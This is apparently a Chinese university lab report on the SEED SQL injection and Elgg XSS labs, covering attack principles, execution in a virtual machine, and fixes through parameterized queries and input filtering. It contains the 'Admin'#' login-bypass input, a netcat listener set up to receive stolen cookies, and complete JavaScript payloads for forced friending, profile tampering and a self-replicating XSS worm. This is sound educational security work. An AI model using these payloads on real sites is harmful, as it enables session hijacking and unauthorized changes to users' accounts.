20252810 2024-2025-2 《网络攻防实践》实践十报告
20252810 2024-2025-2 《网络攻防实践》实践十报告
1.实践内容
(1)SQL注入攻击原理
SELECT语句注入:攻击者在登录表单等输入点提交经过精心构造的字符串(如Admin'#),利用后端SQL语句的字符串拼接漏洞。输入的#符号使后续的密码验证部分被数据库当作注释忽略,从而绕过身份认证,以管理员或其他用户身份登录系统。
UPDATE语句注入:在个人信息更新等操作界面,攻击者同样可以通过修改请求参数或表单数据,拼接额外的SQL命令,从而越权修改数据库中本无权修改的字段(如薪资、密码等)。
(2)SQL注入防御方法
避免使用字符串拼接的方式构建SQL语句,改用参数化查询(Prepared Statement)。通过将用户输入当作参数绑定,而非SQL代码的一部分来执行,可以从根本上防止注入攻击。
(3)XSS(跨站脚本攻击)原理
存储型XSS:攻击者将恶意JavaScript代码提交并存储到服务器端(如个人简介、留言板等)。当其他用户访问包含该恶意代码的页面时,浏览器会解析并执行脚本,导致攻击发生。
反射型XSS:恶意脚本包含在URL参数等请求中,服务器将输入直接反射回响应页面,导致脚本在受害者浏览器中执行。
(4)XSS攻击常见利用方式
弹窗测试:通过验证漏洞存在性。
窃取Cookie:通过document.cookie获取用户Cookie,并利用图片请求等方式将Cookie发送至攻击者控制的服务器,从而实现会话劫持。
伪造请求(CSRF-like操作):利用JavaScript中的XMLHttpRequest对象,携带受害者的安全令牌(__elgg_ts和__elgg_token),在受害者不知情的情况下代表其发送HTTP请求,完成添加好友、修改个人资料等操作。
XSS蠕虫:编写能够自我复制和传播的恶意脚本。当受害者查看包含蠕虫代码的页面时,蠕虫代码执行并修改受害者的个人资料,将自身代码复制进去,使后续访问受害者主页的用户也被感染,实现病毒式传播。
(5)XSS攻击防御方法
对用户输入进行严格的过滤和转义,例如使用HTMLawed等插件将特殊字符(如<、>)转换为HTML实体,使浏览器不再将其解析为可执行脚本。
2.实践过程
(1)前期准备工作
打开链接并点击下载
https://seedsecuritylabs.org/lab_env.html

新建虚拟机并安装磁盘

修改主机名字为自己的名字(密码为seedubuntu)

(2)实践内容
1.SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
输入:
mysql -u root -p
show databases;
登录数据库并展示库

输入:
use Users;
show tables;
查看Users数据库和里面的表。


输入:select * from credential;
查看credential表中的所有条目

输入:
select * from credential where Name = 'Boby';
查询Name为‘Boby’的相关信息。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
打开浏览器输入网址www.SEEDLabSQLInjection.com

点击fn+F12进入开发者模式随便输入用户名和密码,可以看见登录过程中是使用 get请求访问unsafe_home.php。

打开unsafe_home.php



代码分析表明,用户输入被直接拼接到 SQL 语句中。当输入 Admin'# 时,实际执行的 SQL 会变为 SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。只要数据库中存在名为 Admin 的用户记录,攻击者便可跳过密码校验,直接获得管理员权限。
直接在用户名一栏处输入Admin'#并按下回车

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
点击红框所示位置

可以发现是使用了get请求访问unsafe_edit_backend.php

打开unsafe_edit_backend.php




SQL对抗:修复上述SQL注入攻击漏洞。
输入chmod u+w unsafe_home.php修改unsafe_home.php文件权限为可以编辑


将这个代码修改为以下形式

再次尝试登录,登录失败

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
登录网站 http://www.xsslabelgg.com ,使用alice用户名登陆网站,密码为seedalice


点击头像,进入edit profile界面。在Brief description中输入(XSS)攻击代码。

点击保存后显示弹窗。

弹窗显示cookie信息:将cookie信息显示。
将Brief description中的信息更改为,点击保存弹出cookie信息。


窃取受害者的cookies:将cookie发送给攻击者。
输入nc -l 5555 -v在命令行开启监听。将Brief description中的信息更改为,点击保存。再登录boby的账户,查看alice账户信息时成功窃取到了boby用户的cookies。
窃取当前网页的 Cookie,并发送到本地 5555 端口的监听程序上。


成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
在alice的账户中选择“more”-“Members”,按fn+F12查看网络流信息,选择boby添加为朋友,查找编号信息。



删掉好友回到初始状态。根据下面的信息构造payload,在alice账户的about me中填写,并保存。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>

和boby成为了好朋友

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
在alice账户的about me中填写以下信息,并保存。
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by 20252810zd.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

登录boby的账户查看alice的主页发现信息已更改

编写XSS蠕虫。
在alice账户的about me中填写以下信息,并保存。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20252810zd"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>


登录boby的账号可以看到Alice的简介已经被更改

对抗XSS攻击。
通过链接www.xsslabelgg.com/admin登录admin码为seedelgg。

选择plugin-----HTMLawed ——>改为Deactivate 。

再次登录alice的账号重复xss攻击

攻击失败
3.学习中遇到的问题及解决
-
问题1:攻击不成功
![image]()
-
问题1解决方案:没点这个
![image]()
4.实践总结
做完这次实验,最大的感触就是:别轻易相信用户输入的任何东西。不管是拼 SQL 语句,还是往页面上输出内容,只要把用户的输入原封不动地塞进去,就相当于给攻击者留了一扇门。一个没处理好的引号,就能让登录认证形同虚设;一个忘记转义的尖括号,就可能变成蠕虫传播的起点,导致数据泄露、权限失控,甚至一传十、十传百地扩散出去。实验从头跟下来,既把漏洞利用的完整链路亲手走了一遍,也实实在在地体会到,安全不是事后打补丁,而是在写每一行代码的时候就得绷紧那根弦。


浙公网安备 33010602011771号